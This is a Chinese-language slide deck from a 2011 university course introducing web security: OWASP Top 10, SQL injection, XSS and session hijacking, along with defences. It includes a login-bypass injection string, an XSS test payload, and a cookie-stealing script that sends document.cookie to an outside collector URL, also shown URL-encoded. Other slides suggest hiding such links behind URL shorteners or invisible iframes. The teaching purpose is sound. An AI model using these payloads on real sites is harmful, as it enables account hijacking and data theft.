中央大學電子計算機中心 「多媒體與網路應用」 資訊推廣課程
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中央大學電子計算機中心「多媒體與網路應用」資訊推廣課程
網頁應用程式的安全入門
日期 : 2011/03/27講師 : 資工三 張竟 cwebb [dot] tw [at] gmail [dot] com
Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
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Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
3
不要做壞事！
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不要被抓到！
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不要被抓到！
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不要說我教的
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Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
8
網頁安全？
早年 vs 現代靜態 vs 動態有程式 就有漏洞 !
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ways to attack
OS
web server
web application
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attack scenariosattack web server gain privilege steal informations to attack users
attack other user steal informations execute other attacks
may be composite
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Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
12
13
OWASP Top 10 - 2010
A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
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OWASP Top 10 - 2010
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
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OWASP Top 10 - 2010
A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
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OWASP Top 10 - 2010
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
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Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
18
Injections
駭客的填空遊戲where can attacker inject? database (MySQL, MS SQL, PostgreSQL ... ) no-sql Directory Service (LDAP) system command!!
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how SQL works in web
login page for example
client web server
sql server
request whit
id and pwd
sele
ct fr
om a
ccou
nt
whe
re `id
`=id
and
`pwd`
=pw
d
retu
rn re
sult
return login
success/failed
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Why SQL?
廣大使用儲存大量的網站資料injection friendly
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how injections work?
以 MySQL為例子$query = “select from account where `id`=’$id’ and `pwd`=’$pwd’
$id=’ or 1=1 -- > select from account where `id`=’’ -- ....
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attack skills
union
blind attack
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影響
資料被偷 /被改獲得網站權限整個網站被拿下#
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how to defense
safe API
過濾逃脫字元 不要直接把使用者輸入加入 query
找程式掃描弱點
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Practice
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Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
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XSS
Cross Site Scripting
在別人的網站上寫程式！
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background knowledge
HTTP GET
HTTP POST
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how to attack
attack using POST/GET
the “scripting”
in the server
strange url
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how to attack
javascript
<iframe> / <image>
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example<body> <? echo “Hello ”.$_GET[‘id’].”; ?></body>
http://goodsite.com/?id=<script>alert(“i’m Orange”)</script>
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what may happened?
take you to bad site
send your information to attacker
Just For Fun!
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Just For Fun Samy
MySpace XSS attack
Samy is my hero!
Infection
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Big Site also XSSable
MySpace
Plurk
...
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how to defense
for server
該逃的還是要逃
找程式掃描弱點
for user
看到奇怪連結要警覺
瀏覽器 / 防毒軟體
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practice
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Agenda
嘴砲OWSAP Top 10
SQL injection
XSS
cookie & session
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background knowledge
cookie
session
A cookie is a piece of text stored by a user's web browser.A cookie can be used for authentication, storing site preferences, shopping cart contents, the identifier for a server-based session, or anything else that can be accomplished through storing text data.The session information is stored on the web server using the session identifier (session ID) generated as a result of the first (sometimes the first authenticated) request from the end user running a web browser. The "storage" of session IDs and the associated session data (user name, account number, etc.) on the web server is accomplished using a variety of techniques including, but not limited to: local memory, flat files, and databases. 39
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如果偷到了 cookie可以 ....
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how to steal it?
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把 cookie送到雲端 !
用 GET / POST方式讓網頁把cookie送走<img> / <iframe> ex: ["<img src='http://in1.ncu.cc/~975002063/keke/t.php?t=",document.cookie," >"].join(
sever side is simplejust keep the cookie
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哪個白痴會點這鬼連結
http://example.com/?samname=%22%3E%3Cscript%3Edocument.write%28[String.fromCharCode%2860,105,109,103,32,115,114,99,61,39,104,116,116,112,58,47,47,105,110,49,46,110,99,117,46,99,99,47,126,57,55,53,48,48,50,48,54,51,47,107,101,107,101,47,116,46,112,104,112,63,116,61,34%29,document.cookie,String.fromCharCode%2834,39,62%29].join%28%29%29;%3C/script%3E%3C%22
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hidden
有種東西叫短網址 (tinyurl.com / 0rz.tw / goo.gl / bit.ly)
塞進別的網頁裡 (ex: iframe長寬設 0 或 1)
ugly url EVERY WHEREhttps://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1eic6yu9oa4y3&scc=1<mpl=default<mplcache=2https://login.yahoo.com/config/login?.intl=tw&.pd=c%3d7pP3Kh2p2e4XklntZWWfDLAC8w--&.done=https://tw.login.yahoo.com/cgi-bin/kcookie.cgi/www/http%3a//tw.yahoo.com&rl=1
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防範
鎖定 user agent / header
綁 IP
* 不要被攻擊成功 *
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鎖定 user agent / header
if (isset($_SESSION['HTTP_USER_AGENT'])){ if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { exit(); }}else{ $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);}
但是 ... 當你偷的到 cookie 會拿不到header 嗎 ?
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Practice
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Q&A?
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end52
Reference
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http://www.owasp.org/http://en.wikipedia.org/http://goo.gl/cA3ahttp://goo.gl/IwGbXhttp://goo.gl/uQ4I1
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